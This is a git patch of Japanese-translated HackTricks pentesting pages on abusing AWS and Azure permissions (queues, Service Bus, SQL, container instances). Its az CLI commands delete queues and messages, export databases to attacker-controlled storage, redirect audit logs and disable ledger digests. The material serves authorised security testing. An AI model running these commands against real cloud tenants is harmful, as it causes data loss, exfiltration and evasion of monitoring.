From a63d5e9d0444181964249dad4aedd9458c41127a Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 17 Feb 2025 12:03:14 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-services/aws-organiza --- src/SUMMARY.md | 6 +- .../aws-services/aws-organizations-enum.md | 8 +- .../aws-services/aws-sqs-and-sns-enum.md | 4 +- .../az-persistence/az-queue-persistance.md | 8 +- .../az-queue-post-exploitation.md | 12 +- .../az-servicebus-post-exploitation.md | 27 +- .../az-sql-post-exploitation.md | 59 +++- .../az-container-instances-privesc.md | 64 ---- .../az-queue-privesc.md | 8 +- .../az-servicebus-privesc.md | 279 +++++++++++------- .../az-privilege-escalation/az-sql-privesc.md | 31 +- .../az-services/az-container-instances.md | 45 --- .../az-services/az-queue-enum.md | 8 +- .../az-services/az-servicebus-enum.md | 45 +-- .../azure-security/az-services/az-sql.md | 166 +++++++---- .../gcp-compute-instance.md | 22 +- 16 files changed, 443 insertions(+), 349 deletions(-) delete mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md delete mode 100644 src/pentesting-cloud/azure-security/az-services/az-container-instances.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 478e28676..c53000a33 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -292,7 +292,7 @@ - [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md) - [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md) - [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md) - - [AWS - Macie Enum](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md) + - [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md) - [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md) - [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md) - [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md) @@ -415,7 +415,7 @@ - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) - [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md) - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md) - - [Az - Container Instances](pentesting-cloud/azure-security/az-services/az-container-instances.md) + - [Az - Container Instances, Apps & Jobs](pentesting-cloud/azure-security/az-services/az-container-instances-apps-jobs.md) - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -470,7 +470,7 @@ - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md) - - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md) + - [Az - Container Instances, Apps & Jobs Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md) - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index e83b959ed..29118e3ae 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -4,14 +4,14 @@ ## 基本情報 -AWS Organizationsは、追加費用をかけずに新しいAWSアカウントを作成することを容易にします。リソースは簡単に割り当てることができ、アカウントは効率的にグループ化され、ガバナンスポリシーは個々のアカウントまたはグループに適用でき、組織内の管理と制御が強化されます。 +AWS Organizationsは、追加費用をかけずに新しいAWSアカウントを作成することを容易にします。リソースは簡単に割り当てることができ、アカウントは効率的にグループ化され、ガバナンスポリシーは個々のアカウントやグループに適用でき、組織内の管理と制御が強化されます。 主なポイント: - **新しいアカウントの作成**: AWS Organizationsは、追加料金なしで新しいAWSアカウントを作成することを可能にします。 -- **リソースの割り当て**: アカウント間でリソースを割り当てるプロセスを簡素化します。 +- **リソースの割り当て**: アカウント間でのリソースの割り当てプロセスを簡素化します。 - **アカウントのグループ化**: アカウントをまとめて管理をより効率的にします。 -- **ガバナンスポリシー**: アカウントまたはアカウントのグループにポリシーを適用し、組織全体のコンプライアンスとガバナンスを確保します。 +- **ガバナンスポリシー**: アカウントやアカウントのグループにポリシーを適用し、組織全体のコンプライアンスとガバナンスを確保します。 詳細情報は以下で確認できます: @@ -40,6 +40,6 @@ aws iam get-account-summary ``` ## 参考文献 -- https://aws.amazon.com/organizations/ +- [https://aws.amazon.com/organizations/](https://aws.amazon.com/organizations/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index 73ab5228e..05a972b47 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -4,7 +4,7 @@ ## SQS -Amazon Simple Queue Service (SQS) は **完全に管理されたメッセージキューイングサービス** として提供されています。その主な機能は、マイクロサービス、分散システム、およびサーバーレスアプリケーションのスケーリングとデカップリングを支援することです。このサービスは、しばしば複雑でリソース集約的なメッセージ指向ミドルウェアの管理と運用の必要性を排除するように設計されています。この複雑さの排除により、開発者は自分の作業のより革新的で差別化された側面に努力を向けることができます。 +Amazon Simple Queue Service (SQS) は **完全に管理されたメッセージキューイングサービス** として提供されています。その主な機能は、マイクロサービス、分散システム、およびサーバーレスアプリケーションのスケーリングとデカップリングを支援することです。このサービスは、しばしば複雑でリソース集約的なメッセージ指向ミドルウェアの管理と運用の必要性を排除するように設計されています。この複雑さの排除により、開発者は自分の作業のより革新的で差別化された側面に努力を集中させることができます。 ### Enumeration ```bash @@ -46,6 +46,6 @@ aws sqs send-message --queue-url --message-body ## 参考文献 -- https://docs.aws.amazon.com/cdk/api/v2/python/aws\_cdk.aws\_sqs/README.html +- [https://docs.aws.amazon.com/cdk/api/v2/python/aws\_cdk.aws\_sqs/README.html](https://docs.aws.amazon.com/cdk/api/v2/python/aws\_cdk.aws\_sqs/README.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md b/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md index 19974373a..e909e0f0d 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md @@ -12,7 +12,7 @@ ### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write` -この権限により、攻撃者はストレージアカウント内のキューおよびそのプロパティを作成または変更することができます。これを使用して、不正なキューを作成したり、メタデータを変更したり、アクセス制御リスト(ACL)を変更してアクセスを付与または制限することができます。この機能は、ワークフローを妨害したり、悪意のあるデータを注入したり、機密情報を抽出したり、さらなる攻撃を可能にするためにキュー設定を操作したりする可能性があります。 +この権限により、攻撃者はストレージアカウント内のキューとそのプロパティを作成または変更することができます。これを使用して、不正なキューを作成したり、メタデータを変更したり、アクセス制御リスト(ACL)を変更してアクセスを付与または制限することができます。この機能は、ワークフローを妨害したり、悪意のあるデータを注入したり、機密情報を抽出したり、さらなる攻撃を可能にするためにキュー設定を操作したりする可能性があります。 ```bash az storage queue create --name --account-name @@ -22,8 +22,8 @@ az storage queue policy set --name --permissions rwd --expiry 2024- ``` ## 参考文献 -- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues -- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api -- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes +- [https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues](https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues) +- [https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api](https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api) +- [https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes](https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md index f54b29fa5..891b9ea25 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md @@ -32,7 +32,7 @@ az storage message put --queue-name --content "Injected malicious m ``` ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write` -この権限により、攻撃者はAzure Storage Queueに新しいメッセージを追加したり、既存のメッセージを更新したりできます。これを使用することで、有害なコンテンツを挿入したり、既存のメッセージを変更したりすることができ、キューに依存するアプリケーションを誤解させたり、システムに望ましくない動作を引き起こす可能性があります。 +この権限により、攻撃者はAzure Storage Queueに新しいメッセージを追加したり、既存のメッセージを更新したりすることができます。これを使用することで、悪意のあるコンテンツを挿入したり、既存のメッセージを変更したりすることができ、キューに依存するアプリケーションを誤解させたり、システムに望ましくない動作を引き起こす可能性があります。 ```bash az storage message put --queue-name --content "Injected malicious message" --account-name @@ -52,13 +52,13 @@ az storage queue delete --name --account-name ``` ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/delete` -この権限を持つ攻撃者は、Azure Storage Queueからすべてのメッセージを削除できます。このアクションはすべてのメッセージを削除し、ワークフローを妨害し、キューに依存するシステムにデータ損失を引き起こします。 +この権限を持つ攻撃者は、Azure Storage Queueからすべてのメッセージを削除できます。このアクションはすべてのメッセージを削除し、ワークフローを妨げ、キューに依存するシステムにデータ損失を引き起こします。 ```bash az storage message clear --queue-name --account-name ``` ### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write` -この権限により、攻撃者はストレージアカウント内のキューとそのプロパティを作成または変更できます。これを使用して、不正なキューを作成したり、メタデータを変更したり、アクセス制御リスト(ACL)を変更してアクセスを付与または制限したりできます。この機能は、ワークフローを妨害したり、悪意のあるデータを注入したり、機密情報を抽出したり、さらなる攻撃を可能にするためにキュー設定を操作したりする可能性があります。 +この権限は、攻撃者がストレージアカウント内のキューとそのプロパティを作成または変更することを許可します。これにより、不正なキューを作成したり、メタデータを変更したり、アクセス制御リスト(ACL)を変更してアクセスを許可または制限したりすることができます。この機能は、ワークフローを妨害したり、悪意のあるデータを注入したり、機密情報を抽出したり、さらなる攻撃を可能にするためにキュー設定を操作したりする可能性があります。 ```bash az storage queue create --name --account-name @@ -68,8 +68,8 @@ az storage queue policy set --name --permissions rwd --expiry 2024- ``` ## 参考文献 -- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues -- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api -- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes +- [https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues](https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues) +- [https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api](https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api) +- [https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes](https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md index 72d73f601..bf8a93fc0 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md @@ -24,7 +24,7 @@ az servicebus topic delete --resource-group --namespace-name ``` ### Actions: `Microsoft.ServiceBus/namespaces/queues/Delete` -この権限を持つ攻撃者は、Azure Service Bus キューを削除できます。このアクションはキューとその中のすべてのメッセージを削除し、重要なデータの損失を引き起こし、キューに依存するシステムやワークフローを混乱させる可能性があります。 +この権限を持つ攻撃者は、Azure Service Bus キューを削除できます。このアクションはキューとその中のすべてのメッセージを削除し、重要なデータの喪失を引き起こし、キューに依存するシステムやワークフローを混乱させる可能性があります。 ```bash az servicebus queue delete --resource-group --namespace-name --name ``` @@ -34,13 +34,6 @@ az servicebus queue delete --resource-group --namespace-name ```bash az servicebus topic subscription delete --resource-group --namespace-name --topic-name --name ``` -### Actions: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read` - -Azure Service Bus 名前空間を作成または変更する権限を持つ攻撃者は、これを利用して操作を妨害したり、無許可のリソースを展開したり、機密データを露出させたりすることができます。彼らは、パブリックネットワークアクセスの有効化、暗号化設定のダウングレード、またはパフォーマンスを低下させたりコストを増加させたりするための SKU の変更など、重要な設定を変更することができます。さらに、ローカル認証を無効にしたり、レプリカの場所を操作したり、TLS バージョンを調整してセキュリティ制御を弱体化させることができるため、名前空間の誤設定は重要なポストエクスプロイテーションリスクとなります。 -```bash -az servicebus namespace create --resource-group --name --location -az servicebus namespace update --resource-group --name --tags -``` ### Actions: `Microsoft.ServiceBus/namespaces/queues/write` (`Microsoft.ServiceBus/namespaces/queues/read`) 攻撃者は、Azure Service Bus キューを作成または変更する権限を持っている場合(キューを変更するには、Action:`Microsoft.ServiceBus/namespaces/queues/read` も必要です)、これを利用してデータを傍受したり、ワークフローを妨害したり、無許可のアクセスを可能にしたりすることができます。彼らは、悪意のあるエンドポイントにメッセージを転送する、メッセージの TTL を調整してデータを不適切に保持または削除する、またはエラーハンドリングに干渉するためにデッドレターを有効にするなど、重要な設定を変更することができます。さらに、キューのサイズ、ロックの期間、またはステータスを操作してサービスの機能を妨害したり、検出を回避したりすることができるため、これは重要なポストエクスプロイテーションリスクとなります。 @@ -50,14 +43,14 @@ az servicebus queue update --resource-group --namespace-name ``` ### Actions: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`) -Azure Service Bus 名前空間内でトピックを作成または変更する権限を持つ攻撃者は、これを利用してメッセージワークフローを妨害したり、機密データを露出させたり、無許可のアクションを有効にしたりすることができます。az servicebus topic updateのようなコマンドを使用して、スケーラビリティの悪用のためにパーティショニングを有効にしたり、メッセージを不適切に保持または破棄するためにTTL設定を変更したり、制御を回避するために重複検出を無効にしたりするなどの構成を操作できます。さらに、トピックのサイズ制限を調整したり、ステータスを変更して可用性を妨害したり、インターセプトされたメッセージを一時的に保存するためにエクスプレス トピックを構成したりすることができるため、トピック管理はポストエクスプロイテーションの緩和において重要な焦点となります。 +Azure Service Bus 名前空間内でトピックを作成または変更する権限を持つ攻撃者は、これを利用してメッセージワークフローを妨害したり、機密データを露出させたり、無許可のアクションを有効にしたりすることができます。az servicebus topic updateのようなコマンドを使用して、スケーラビリティの悪用のためにパーティショニングを有効にしたり、メッセージを不適切に保持または破棄するためにTTL設定を変更したり、制御を回避するために重複検出を無効にしたりするなど、構成を操作できます。さらに、トピックのサイズ制限を調整したり、ステータスを変更して可用性を妨害したり、インターセプトされたメッセージを一時的に保存するためにエクスプレストピックを構成したりすることができるため、トピック管理はポストエクスプロイテーションの緩和において重要な焦点となります。 ```bash az servicebus topic create --resource-group --namespace-name --name az servicebus topic update --resource-group --namespace-name --name ``` ### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` (`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) -Azure Service Bus トピック内でサブスクリプションを作成または変更する権限を持つ攻撃者は、これを利用してメッセージワークフローを傍受、再ルーティング、または中断することができます。az servicebus topic subscription updateのようなコマンドを使用して、メッセージを転送するためにデッドレターを有効にする、未承認のエンドポイントにメッセージを転送する、またはメッセージ配信を保持または干渉するためにTTLおよびロック期間を変更するなどの設定を操作できます。さらに、ステータスや最大配信回数の設定を変更して操作を中断させたり、検出を回避したりすることができるため、サブスクリプション制御はポストエクスプロイテーションシナリオの重要な側面となります。 +サブスクリプションを作成または変更する権限を持つ攻撃者(サブスクリプションを変更するには、Action: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read` も必要です)は、Azure Service Bus トピック内でこれを利用してメッセージワークフローを傍受、再ルーティング、または中断することができます。az servicebus topic subscription updateのようなコマンドを使用して、メッセージを転送するためにデッドレターを有効にしたり、未承認のエンドポイントにメッセージを転送したり、TTLやロック期間を変更してメッセージ配信を保持または干渉したりするなどの設定を操作できます。さらに、ステータスや最大配信回数の設定を変更して操作を中断させたり、検出を回避したりすることができるため、サブスクリプションの制御はポストエクスプロイテーションシナリオの重要な側面となります。 ```bash az servicebus topic subscription create --resource-group --namespace-name --topic-name --name az servicebus topic subscription update --resource-group --namespace-name --topic-name --name @@ -72,12 +65,12 @@ az servicebus topic subscription update --resource-group --n ## 参考文献 -- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues -- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api -- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes -- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless -- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus -- https://learn.microsoft.com/en-us/cli/azure/servicebus/namespace?view=azure-cli-latest -- https://learn.microsoft.com/en-us/cli/azure/servicebus/queue?view=azure-cli-latest +- [https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues](https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues) +- [https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api](https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api) +- [https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes](https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes) +- [https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless) +- [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus) +- [https://learn.microsoft.com/en-us/cli/azure/servicebus/namespace?view=azure-cli-latest](https://learn.microsoft.com/en-us/cli/azure/servicebus/namespace?view=azure-cli-latest) +- [https://learn.microsoft.com/en-us/cli/azure/servicebus/queue?view=azure-cli-latest](https://learn.microsoft.com/en-us/cli/azure/servicebus/queue?view=azure-cli-latest) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md index 3209954e2..64c498b6b 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md @@ -4,7 +4,7 @@ ## SQL Database Post Exploitation -SQL Databaseに関する詳細情報は、以下を確認してください: +SQL Databaseに関する詳細情報は以下を確認してください: {{#ref}} ../az-services/az-sql.md @@ -12,13 +12,23 @@ SQL Databaseに関する詳細情報は、以下を確認してください: ### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write` -これらの権限を持つ攻撃者は、侵害された環境内でデータベースを作成および更新することができます。このポストエクスプロイト活動により、攻撃者は悪意のあるデータを追加したり、データベースの設定を変更したり、さらなる持続性のためにバックドアを挿入したりすることができ、操作を妨害したり、追加の悪意のある行動を可能にしたりする可能性があります。 +これらの権限を持つ攻撃者は、侵害された環境内でデータベースを作成および更新できます。このポストエクスプロイテーション活動により、攻撃者は悪意のあるデータを追加したり、データベースの設定を変更したり、さらなる持続性のためにバックドアを挿入したりすることができ、操作を妨害したり、追加の悪意のある行動を可能にしたりする可能性があります。 ```bash # Create Database az sql db create --resource-group --server --name # Update Database az sql db update --resource-group --server --name --max-size +``` +この権限(`Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`)を使用すると、削除されたデータベースを復元できます: +```bash +az sql db restore \ +--dest-name \ +--name \ +--resource-group \ +--server \ +--deleted-time "" + ``` ### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read` @@ -42,7 +52,7 @@ az sql elastic-pool update \ ``` ### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write` -この権限を持つことで、Azure SQL Serverの監査設定を変更または有効にすることができます。これにより、攻撃者や認可されたユーザーが監査構成を操作し、足跡を隠したり、監査ログを自分の管理下にある場所にリダイレクトしたりする可能性があります。これにより、セキュリティ監視が妨げられたり、行動を追跡することができなくなったりする可能性があります。注意:Blob Storageを使用してAzure SQL Serverの監査を有効にするには、監査ログを保存できるストレージアカウントを添付する必要があります。 +この権限を持つことで、Azure SQL Serverの監査設定を変更または有効にすることができます。これにより、攻撃者や権限のあるユーザーが監査構成を操作し、痕跡を隠したり、監査ログを自分の管理下にある場所にリダイレクトしたりする可能性があります。これにより、セキュリティ監視が妨げられたり、行動を追跡することができなくなったりする可能性があります。注意: Azure SQL Serverの監査をBlob Storageで有効にするには、監査ログを保存できるストレージアカウントを接続する必要があります。 ```bash az sql server audit-policy update \ --server \ @@ -53,7 +63,7 @@ az sql server audit-policy update \ ``` ### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write` -この権限を持つことで、Azure SQL Serverの接続ポリシーを変更できます。この機能は、サーバーレベルの接続設定を有効にしたり変更したりするために悪用される可能性があります。 +この権限を使用すると、Azure SQL Serverの接続ポリシーを変更できます。この機能は、サーバーレベルの接続設定を有効にしたり変更したりするために悪用される可能性があります。 ```bash az sql server connection-policy update \ --server \ @@ -62,7 +72,7 @@ az sql server connection-policy update \ ``` ### `Microsoft.Sql/servers/databases/export/action` -この権限を持つことで、Azure SQL Serverからストレージアカウントにデータベースをエクスポートできます。この権限を持つ攻撃者または認可されたユーザーは、データベースから敏感なデータをエクスポートして自分が制御する場所に持ち出すことができ、重大なデータ漏洩のリスクを引き起こします。これを実行するにはストレージキーを知っておくことが重要です。 +この権限を持つことで、Azure SQL Serverからストレージアカウントにデータベースをエクスポートできます。この権限を持つ攻撃者または認可されたユーザーは、データベースから機密データをエクスポートして自分が管理する場所に移すことで、重大なデータ漏洩のリスクを引き起こす可能性があります。これを実行するには、ストレージキーを知っておくことが重要です。 ```bash az sql db export \ --server \ @@ -76,7 +86,7 @@ az sql db export \ ``` ### `Microsoft.Sql/servers/databases/import/action` -この権限を持つことで、Azure SQL Serverにデータベースをインポートできます。この権限を持つ攻撃者または認可されたユーザーは、悪意のあるまたは操作されたデータベースをアップロードする可能性があります。これにより、機密データの制御を獲得したり、インポートされたデータベース内に有害なスクリプトやトリガーを埋め込んだりすることができます。さらに、Azure内の自分のサーバーにインポートすることもできます。注意: サーバーは、Azureサービスとリソースがサーバーにアクセスすることを許可する必要があります。 +この権限を持つことで、Azure SQL Serverにデータベースをインポートできます。この権限を持つ攻撃者または認可されたユーザーは、悪意のあるまたは操作されたデータベースをアップロードする可能性があります。これにより、機密データの制御を獲得したり、インポートされたデータベース内に有害なスクリプトやトリガーを埋め込んだりすることができます。さらに、Azure内の自分のサーバーにインポートすることもできます。注意: サーバーは、Azureサービスおよびリソースがサーバーにアクセスすることを許可する必要があります。 ```bash az sql db import --admin-user \ --admin-password \ @@ -87,4 +97,41 @@ az sql db import --admin-user \ --storage-key \ --storage-uri `https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac` ``` +### `Microsoft.Sql/servers/connectionPolicies/write` && `Microsoft.Sql/servers/connectionPolicies/read` + +この権限を持つユーザーは、Azure SQL サーバーの接続ポリシーを変更および取得できます。これらの権限により、クライアントがサーバーに接続する方法を変更できるため、リダイレクトやプロキシなどの方法を選択できます。これが誤って構成されると、セキュリティが弱まったり、トラフィックがリダイレクトされたり、機密データが傍受されたりする可能性があります。 +```bash +az sql server conn-policy update \ +--resource-group \ +--server \ +--connection-policy +``` +### `Microsoft.Sql/servers/keys/write` && `Microsoft.Sql/servers/keys/read` + +この権限を持つユーザーは、Azure SQL Server に関連付けられた暗号化キーを更新および取得できます。これらのキーは、暗号化を通じて機密データを保護するために使用されることが多いため、それらを操作することは、無許可の復号化やキーのローテーション変更を許可することによってデータセキュリティを危険にさらす可能性があります。 +```bash +az sql server key create \ +--resource-group MyResourceGroup \ +--server MyServer \ +--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef +``` +### `Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action`, `Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read`, `Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read` + +この権限は、Azure SQL Database の Ledger Digest を無効にすることを許可し、データの整合性を検証するための暗号学的ダイジェストレコードの定期的なアップロードを Azure Blob Storage に停止します。 +```bash +az sql db ledger-digest-uploads disable \ +--name ledgerDB \ +--resource-group myResourceGroup \ +--server my-sql-server +``` +### `Microsoft.Sql/servers/databases/transparentDataEncryption/write`, `Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read`, `Microsoft.Sql/servers/databases/transparentDataEncryption/read` + +この権限は、認可されたユーザーまたは攻撃者がAzure SQLデータベースの透過的データ暗号化(TDE)設定を有効化、無効化、または変更することを可能にし、暗号化設定を変更することでデータセキュリティに影響を与える可能性があります。 +```bash +az sql db tde set \ +--database \ +--resource-group \ +--server \ +--status +``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md deleted file mode 100644 index 39c87da68..000000000 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md +++ /dev/null @@ -1,64 +0,0 @@ -# Az - Azure Container Instances Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Azure Container Instances - -詳細については、次を確認してください: - -{{#ref}} -../az-services/az-container-instances.md -{{#endref}} - -### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action` - -これらの権限により、ユーザーは実行中のコンテナ内で**コマンドを実行**することができます。これを使用して、コンテナに管理されたアイデンティティが付与されている場合に**権限を昇格**させることができます。もちろん、コンテナ内に保存されているソースコードやその他の機密情報にアクセスすることも可能です。 - -`ls`を実行して出力を取得するのは、次のように簡単です: -```bash -az container exec --name --resource-group --exec-command 'ls' -``` -コンテナの**出力を読み取る**ことも可能です: -```bash -az container attach --name --resource-group -``` -ログを取得するには: -```bash -az container logs --name --resource-group -``` -### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` - -これらの権限は、**ユーザー管理のアイデンティティを**コンテナー グループにアタッチすることを許可します。これは、コンテナー内で権限を昇格させるのに非常に便利です。 - -ユーザー管理のアイデンティティをコンテナー グループにアタッチするには: -```bash -az rest \ ---method PATCH \ ---url "/subscriptions//resourceGroups//providers/Microsoft.ContainerInstance/containerGroups/?api-version=2021-09-01" \ ---body '{ -"identity": { -"type": "UserAssigned", -"userAssignedIdentities": { -"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} -} -} -}' \ ---headers "Content-Type=application/json" -``` -### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` - -これらの権限は、**ユーザー管理のアイデンティティ**が付与された**コンテナー グループを作成または更新**することを許可します。これは、コンテナー内で権限を昇格させるのに非常に便利です。 -```bash -az container create \ ---resource-group > \ ---name nginx2 \ ---image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ ---assign-identity "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ ---restart-policy OnFailure \ ---os-type Linux \ ---cpu 1 \ ---memory 1.0 -``` -さらに、既存のコンテナグループを更新し、例えば**`--command-line`引数**を逆シェルで追加することも可能です。 - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md index 51fe23462..3230898d8 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md 